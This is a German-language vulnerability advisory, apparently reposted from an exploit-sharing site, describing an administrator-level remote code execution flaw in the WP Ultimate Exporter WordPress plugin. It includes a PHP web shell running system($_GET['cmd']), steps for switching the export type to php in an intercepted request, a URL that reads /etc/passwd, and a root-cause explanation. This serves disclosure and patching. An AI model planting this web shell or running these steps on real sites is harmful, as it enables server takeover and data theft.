4️⃣ Voraussetzung

Administrator

5️⃣ Schwachstellendetails

👉 Kurzbeschreibung

Das WP Ultimate Exporter-Plugin ist ein Addon für das WP Ultimate CSV Importer-Plugin. Dieses Plugin ermöglicht es Ihnen, alle Beiträge, Produkte, Bestellungen, Rückerstattungen und Benutzerdaten in den Formaten CSV, XLS, XML und JSON zu exportieren. Beim Export werden Dateien im Upload-Pfad erstellt, und das Plugin liefert den Benutzern nur den Inhalt dieser Dateien.

In WP Ultimate Exporter-Pluginversionen 2.9.1 und darunter wird beim Anfordern eines Datencxports, wenn die Dateierweiterung in den Anfragedaten auf PHP gesetzt ist, eine PHP-Datei im Upload-Pfad erstellt. Wenn der Inhalt der erstellten Datei daher PHP-Syntax enthält, tritt eine Remote Code Execution (RCE)-Schwachstelle auf, da die PHP-Syntax beim Zugriff auf diese Datei ausgeführt wird.

👉 So reproduzieren Sie die Schwachstelle (PoC)

⚠️ Da das 'WP Ultimate Exporter'-Plugin ein Addon für das 'WP Ultimate CSV Importer'-Plugin ist, müssen beide Plugins installiert sein.

1. Erstellen Sie einen neuen Beitrag mit dem Code-Editor (Tastenkürzel: ⇧ ⌥ ⌘ M) mit folgendem Inhalt:

   root@kitploit:~

   <pre>
   	<?php
   	    if(isset($_GET['cmd']))
   	    {
   	        system($_GET['cmd']);
   	    }
   	?>
   </pre>
   

2. Navigieren Sie zum Tab 'Export' des WP Ultimate Exporter-Plugins. Dieser ist über den Tab 'Export' im Dashboard des WP Ultimate CSV Importer-Plugins erreichbar (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

3. Starten Sie ein Proxy-Tool (z. B. BurpSuite), um Anforderungspakete abzufangen, und fahren Sie mit den folgenden Schritten bei aktiviertem Intercept fort.

4. Wählen Sie als Nächstes 'Beiträge' aus 'Wählen Sie das Modul zum Exportieren von Daten' aus und fahren Sie mit dem nächsten Schritt fort.

1. Setzen Sie dann in 'Um Daten basierend auf den Filtern zu exportieren' die folgenden Punkte und klicken Sie auf die Schaltfläche 'EXPORT'.
   • Exportdateiname Geben Sie 'webshell' ein
   • Erweiterte Einstellungen Wählen Sie 'CSV'

1. Zu diesem Zeitpunkt wird eine POST-Methode-Anforderung an die URL /wp-admin/admin-ajax.php gesendet, um die Daten zu exportieren. Ändern Sie den exp_type-Wert in den Anforderungsdaten von csv auf php und klicken Sie dann auf Forward.

1. Geben Sie /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd in die Browser-Adressleiste ein, um den Inhalt der Datei /etc/passwd auf dem Server anzuzeigen, auf dem WordPress installiert ist. Dies demonstriert die RCE-Schwachstelle.

👉 Zusätzliche Informationen (optional)

[Ursache der Schwachstelle]

Beim Exportieren von Daten im WP Ultimate Exporter-Plugin wird die Funktion parseData in der Datei /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php aufgerufen.

Zu diesem Zeitpunkt wird keine Filterung auf die Anforderungsdaten exp_type angewendet, die das Exportdatenformat bestimmen, und der Wert wird direkt in die Membervariable $this->exportType eingefügt.

Anschließend wird die Funktion proceedExport aufgerufen, um die Daten in einer Datei zu speichern. Zu diesem Zeitpunkt wird bei der Initialisierung der Variable $file, die den Dateispeicherpfad angibt, ebenfalls die Membervariable $this->exportType ohne jegliche Filterung verwendet.

Anschließend wird der in der Variable $file gespeicherte Dateipfad als Argument an die Funktion file_put_contents übergeben, und zu diesem Zeitpunkt wird die Datei mit der in den Anforderungsdaten exp_type angegebenen Erweiterung direkt angewendet gespeichert.

Wenn daher Beitragsdaten, die Web-Shell-Code enthalten, als PHP-Datei gespeichert werden und auf diese Datei zugegriffen wird, tritt eine Remote Code Execution (RCE)-Schwachstelle auf, da der PHP-Code ausgeführt wird.

[PoC-Code-Implementierung und -Ausführung]

1. Öffnen Sie den PoC-Code in einem Editor und geben Sie die WordPress-Site-Adresse und die Administrator-Anmeldedaten ein.

1. Geben Sie dann den folgenden Befehl ein, um den PoC-Code auszuführen.

   Erforderliches Modul requests

   root@kitploit:~

   python poc.py
   

   

6️⃣ Exploit-Demo

7️⃣ Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2024-56278